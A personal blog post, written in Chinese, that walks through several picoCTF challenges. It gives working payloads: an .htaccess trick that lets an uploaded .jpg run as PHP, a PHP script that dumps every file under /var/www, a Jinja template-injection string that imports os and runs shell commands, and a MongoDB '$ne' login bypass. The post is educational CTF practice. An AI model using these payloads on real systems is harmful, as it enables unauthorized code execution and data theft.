mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3
1302 words
4 minutes
picoCTF Writeup
2026-02-08

前言#

高一開始碰 CTF,想說來紀錄一下自己進步的過程。

518 - byp4ss3d#

先來看題目:

A university’s online registration portal asks students to upload their ID cards for verification. The developer put some filters in place to ensure only image files are uploaded but are they enough? Take a look at how the upload is implemented. Maybe there’s a way to slip past the checks and interact with the server in ways you shouldn’t.

我啟動 Instance 之後有這樣的畫面:

先隨便傳張圖片上去

剛剛的圖片可以在 /images/2cc6035d02ccf41f062a2ff8d9468170170152828.gif 被訪問 那我就想了我能不能上傳其他的檔案,例如 HTML 之類的 可以??

那 PHP 呢,如果可以我不就可以想幹嘛就幹嘛 果然被擋了

我先複製一下他上傳的 req 看看他是怎麼個擋法,想說改 Content-Type 試試看 (改成 Image),但是一樣被擋ㄌ 就想了各種改 headers 的方法結果都不是,所以我跑去看第一個 Hint:

這是一個超明顯的提示啊!!原來 Apache 還能這樣解析的嗎w 我就去查了 .htaccess 要怎麼做到這事

Mime-types are used for several things in Apache. to tell the browser how to treat the file to tell apache which handler to use

所以我就寫了一個這樣的 .htaccess

AddType application/x-httpd-php .jpg

但是這時我又想到一個問題,如果連 .htaccess 都被擋那我不就沒轍了嗎,還好他是有給我上傳的

我這時隨便傳了一個把副檔名改成 .jpg 的 PHP 檔案確實是可以了 那麼現在就是寫 PHP 的時間啦,以前寫過 Laravel 至少還不算忘光光

<?php
function showFiles($dir) {
foreach (scandir($dir) as $file) {
if ($file == '.' || $file == '..') continue;
$path = $dir . '/' . $file;
if (is_dir($path)) {
showFiles($path);
} else {
echo $path;
echo file_get_contents($path);
}
}
}
showFiles('/var/www/');

我一開始掃 /var/www/html 沒有,我是一階一階往後推,把他所有檔案都挖出來然後顯示出來,結果就找到了藏在 /var/www//flag.txt 的 flag 了

這題就卡在一個重要的 .htaccess 觀念,原來還能把圖片當 PHP 解析呀w

81 - like 1000#

這題來搞笑的是不是ww

題目給了一個 tar,稍微觀察一下結構真就包了 1000 層 於是我就簡單寫了個迴圈解壓:

while ls *.tar 1> /dev/null 2>&1; do
for f in *.tar; do
tar -xf "$f" && rm "$f"
done
done

如果看不懂的話可以看下我的解釋,ls *.tar 就是看目前還有沒有 tar 要解壓,然後我不要輸出我就 1> /dev/null 配上 2>&1,因為在 Linux 裡面 1 是正常輸出,然後 2 是錯誤輸出,所以我把錯誤訊息導到正常輸出然後全部丟 /dev/null 就可以把所有輸出丟掉了,然後我就是進行迴圈嘛,我只有當成功解壓的時候才把前一個刪掉。

然後解出來是一張圖片,Flag 就在裡面

492 - SSTI1#

這題是我覺得 Easy 裡面最難的一題,當然也有可能純粹是我不熟 Python

網站是一個公告板,你可以丟自己想要 announce 的東西上去,通常看到一個輸入框就先試 SSTI / SQL Injection / NoSQL Injection / XSS 嘛,啊這題目都告訴你 SSTI 所以我就先 {{''.__class__.__mro__[1]}},其實不一定要用 mro,像是我後來為了方便改成 __base__,但是原本那樣的想法就是有點一層一層往下的感覺,然後呢。 接著往下是我在 30 分鐘內解這題嘗試摸清楚的簡單邏輯,我根本不寫 Python 的,所以下面的內容錯了或是整個概念不對就請多多包涵啦w 然後我不懂 Python 我又去查了一下,我先用 __subclasses__(),跑出一堆,我原本想說我要用 os 這個套件去摸出伺服器 Directory,然後我就翻到一個 Subclasses os._wrap_close,我原本想說我可能可以透過他來調用 os 套件,但是這列出來得太多了,我用 zap 的 Fuzzer 去找 Index 就是每此把那個 Index 替換然後看哪個是 os._wrap_close,抓到了是 132,但是此時的我並不知道我在幹很白癡的事情。 我接著嘗試 .__init__.__globals__['os'].listdir(),欸,500! 然後我後來去查到一個 builtins,裡面有一些基本的功能,於是我改成 __globals__['__builtins__']['__import__']('os'),哇,我能直接這樣 import os 喔,然後其實根本也不用找 Index,直接 {''.__class__.__base__.__subclasses__()[]}} 都可以,然後我先接了一個 listdir(),有個檔案叫做 flag,那我就 popen 秒了。 Final Payload: {{ ''.__class__.__base__.__subclasses__()[].__init__.__globals__['__builtins__']['__import__']('os').popen('cat flag').read()}}

然後去看別人的解法,因為這是一個 Flask Application,可以直接 request.application。 啊算了,就當我是白癡一個就行了。 然後這是學長說的:

443 - No Sql Injection#

個人認為這題該滾去 Easy,跟 SSTI 相比也太簡單了吧!? 還有給我 server-side code,他真的我哭死

哇,那如果是 MongoDB 的話,我就來嘗試最常見最簡單的 Payload {"$ne": null} 吧! 啊?進去了?

看起來頁面上沒有 Flag 呢,會不會藏在 Response?

啊啊,藏著一個很可疑的 Base64 加密過的 Token 呢,解密後就是 Flag 啦!

303 - SQL Direct#

這題也來搞笑的,他直接給我 Postgres Credentials 欸ww

直接 pgAdmin 進去,Flag 就在一個叫做 Flag 的 Table 自取唷~

Share

If this article helped you, please share it with others!

picoCTF Writeup
https://owen0924.com/posts/picoctf/
Author
owen0924
Published at
2026-02-08
License
CC BY-NC-SA 4.0

Some information may be outdated

Cover
Sample Song
Sample Artist
Cover
Sample Song
Sample Artist
0:00 / 0:00